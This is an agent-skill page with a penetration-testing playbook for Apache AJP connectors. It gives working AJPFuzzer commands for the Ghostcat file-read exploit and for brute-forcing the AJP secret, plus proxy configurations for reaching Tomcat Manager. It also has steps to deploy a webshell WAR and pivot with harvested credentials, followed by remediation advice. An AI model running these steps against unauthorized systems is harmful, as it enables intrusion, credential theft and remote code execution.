pentesting-ajp

star 618

Testing Apache JServ Protocol (AJP13) connectors (default 8009/TCP) for the Ghostcat LFI/RCE vulnerability (CVE-2020-1938), trusted-request-attribute abuse, AJP secret brute forcing, and reaching the Tomcat Manager via an nginx/Apache AJP proxy during authorized engagements.

xalgord By xalgord schedule Updated 6/6/2026

name: pentesting-ajp description: Testing Apache JServ Protocol (AJP13) connectors (default 8009/TCP) for the Ghostcat LFI/RCE vulnerability (CVE-2020-1938), trusted-request-attribute abuse, AJP secret brute forcing, and reaching the Tomcat Manager via an nginx/Apache AJP proxy during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:

  • penetration-testing
  • network-services
  • ajp version: '1.0' author: xalgorix license: Apache-2.0

Pentesting Apache JServ Protocol AJP (port 8009)

When to Use

  • Default port 8009/tcp (ajp13). AJP is a binary, packet-oriented, optimized HTTP used by a front-end (Apache/nginx) to talk to a Tomcat/servlet backend.
  • When nmap shows 8009/tcp open ajp13, or you see a Tomcat behind a reverse proxy.
  • AJP is more interesting than plain HTTP because the backend trusts the proxy to set internal request metadata (authenticated user, TLS info, arbitrary request attributes).

Quick Enumeration

# Nmap AJP scripts (auth, headers, methods, request)
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>

# Ask AJP directly for an interesting path and save the body
nmap -p 8009 --script ajp-request \
  --script-args 'path=/manager/html,method=GET,filename=ajp-manager.out' <IP>

# Allowed methods/headers on a custom path
nmap -p 8009 --script ajp-headers,ajp-methods \
  --script-args 'ajp-headers.path=/,ajp-methods.path=/manager/html' <IP>

Critical: Checks Most Often Missed

  • Ghostcat (CVE-2020-1938) — an LFI in AJP that reads files under the web root such as WEB-INF/web.xml (often containing credentials); if the app allows file upload, it escalates to RCE. Patched in Tomcat 9.0.31, 8.5.51, 7.0.100. Any 8009 reachable from an untrusted network is a high-value target.
  • Trusted request attributes — AJP can carry REMOTE_USER/remote_user, client cert attributes (javax.servlet.request.X509Certificate), and AJP_* proxy metadata. Apps that make security decisions on proxy-supplied data can be bypassed. Modern Tomcat returns 403 for unknown attributes unless they match allowedRequestAttributesPattern — a permissive regex is worth investigating.
  • AJP secret brute forcing — post-Ghostcat Tomcat requires an AJP secret by default; brute-force/fuzz it with AJPFuzzer.
  • HTTP->AJP request smuggling/desync — front-end (httpd mod_proxy_ajp) and backend may disagree on request boundaries, smuggling a trusted AJP request.

How to CONFIRM

  • Ghostcat: a crafted ForwardRequest returns the contents of /WEB-INF/web.xml (XML body) instead of a 403/404. Use the exploit-db PoC (48143) or AJPFuzzer.
  • Trusted-attribute abuse: setting REMOTE_USER via AJP changes the app's authorization decision (e.g. reaching an auth-gated page).
  • Proxy reach: after standing up an AJP proxy, browsing http://127.0.0.1/manager/html returns the Tomcat Manager.

Workflow

Step 1: Enumerate

Confirm ajp13 on 8009 and run the AJP NSE scripts. Note Tomcat version (for Ghostcat patch level) and whether a secret/allowedRequestAttributesPattern is enforced.

Step 2: Authenticate / unauth access

Reproduce Ghostcat-style file disclosure with AJPFuzzer's forwardrequest, abusing the include attributes:

java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 <TARGET_IP> <TARGET_IP> 8009 false \
  "Cookie:test=value" \
  "javax.servlet.include.path_info:/WEB-INF/web.xml,javax.servlet.include.servlet_path:/"

If a secret is required, fuzz it:

java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \
  "Cookie:AAAA=BBBB" \
  "secret:FUZZ" /tmp/ajp_secret_candidates.txt

Step 3: Exploit / Extract

  • Read WEB-INF/web.xml and other web-root files via Ghostcat; harvest Manager/DB credentials.
  • Reach the Tomcat Manager through an AJP proxy and continue with Tomcat WAR-deploy RCE.

nginx with the third-party ajp_module:

upstream tomcats { server <TARGET_SERVER>:8009; keepalive 10; }
server {
    listen 80;
    location / { ajp_keep_conn on; ajp_pass tomcats; }
}

Apache mod_proxy_ajp:

a2enmod proxy proxy_ajp
ProxyPass        / ajp://<TARGET_SERVER>:8009/
ProxyPassReverse / ajp://<TARGET_SERVER>:8009/
# If the backend requires a secret (modern Tomcat):
# ProxyPass / ajp://<TARGET_SERVER>:8009/ secret=<AJP_SECRET>

Then browse http://127.0.0.1/ — if /manager/html or /host-manager is reachable, deploy a malicious WAR.

Step 4: Post-access / pivot

With Manager access, deploy a JSP webshell WAR for RCE on the Tomcat host. Use recovered credentials (from web.xml/datasource configs) to pivot to backend databases and internal services.

Key Concepts

Concept Description
AJP13 Binary, packet-oriented protocol; Apache/nginx -> Tomcat with persistent TCP connections
Ghostcat (CVE-2020-1938) AJP LFI reading web-root files (WEB-INF/web.xml), RCE if upload exists
ForwardRequest AJP packet that carries the proxied request + trusted attributes
Request attributes REMOTE_USER, X509 cert, AJP_* metadata the backend trusts from the proxy
secret / secretRequired Modern Tomcat AJP shared-secret requirement
allowedRequestAttributesPattern Regex gating which forwarded attributes are accepted (403 otherwise)

Tools & Systems

Tool Purpose
nmap ajp- NSE* ajp-auth, ajp-headers, ajp-methods, ajp-request
AJPFuzzer (Doyensec) Craft ForwardRequest packets, Ghostcat primitives, brute secrets, fuzz attributes
Ghostcat PoC (exploit-db 48143) CVE-2020-1938 file disclosure exploit
nginx_ajp_module Proxy 8009 to reach Tomcat Manager
Apache mod_proxy_ajp Alternative AJP proxy pivot (supports secret=)
Metasploit / Tomcat WAR deploy RCE once Manager is reachable

Common Scenarios

Scenario 1: Ghostcat credential disclosure

A pre-9.0.31 Tomcat exposes 8009; a crafted ForwardRequest returns WEB-INF/web.xml containing Manager credentials.

Scenario 2: Manager via AJP proxy

8009 is reachable but 8080 is filtered; an nginx ajp_pass proxy reaches /manager/html, and a WAR upload gives RCE.

Scenario 3: Trusted-attribute auth bypass

The app trusts REMOTE_USER from the proxy; setting it over AJP reaches an admin endpoint without authenticating.

Output Format

## AJP Finding

**Service**: Apache JServ Protocol AJP13 (8009/tcp)
**Severity**: <Critical|High>
**Target**: <IP>:8009  Tomcat: <version>

### Evidence
- Ghostcat (CVE-2020-1938): retrieved WEB-INF/web.xml (creds: <yes/no>)
- AJP secret: <not required | brute-forced value>
- Manager reached via AJP proxy -> WAR deploy RCE
- Trusted-attribute abuse: REMOTE_USER override accepted

### Reproduction
ajpfuzzer> forwardrequest ... "javax.servlet.include.path_info:/WEB-INF/web.xml,..."
ProxyPass / ajp://<IP>:8009/   # then browse /manager/html

### Recommendation
1. Patch Tomcat to >= 9.0.31 / 8.5.51 / 7.0.100 (Ghostcat)
2. Disable the AJP connector if unused; bind it to loopback
3. Require an AJP secret (secretRequired=true) and a strict allowedRequestAttributesPattern
4. Never expose 8009 to untrusted networks; firewall to the proxy host only
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-ajp
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator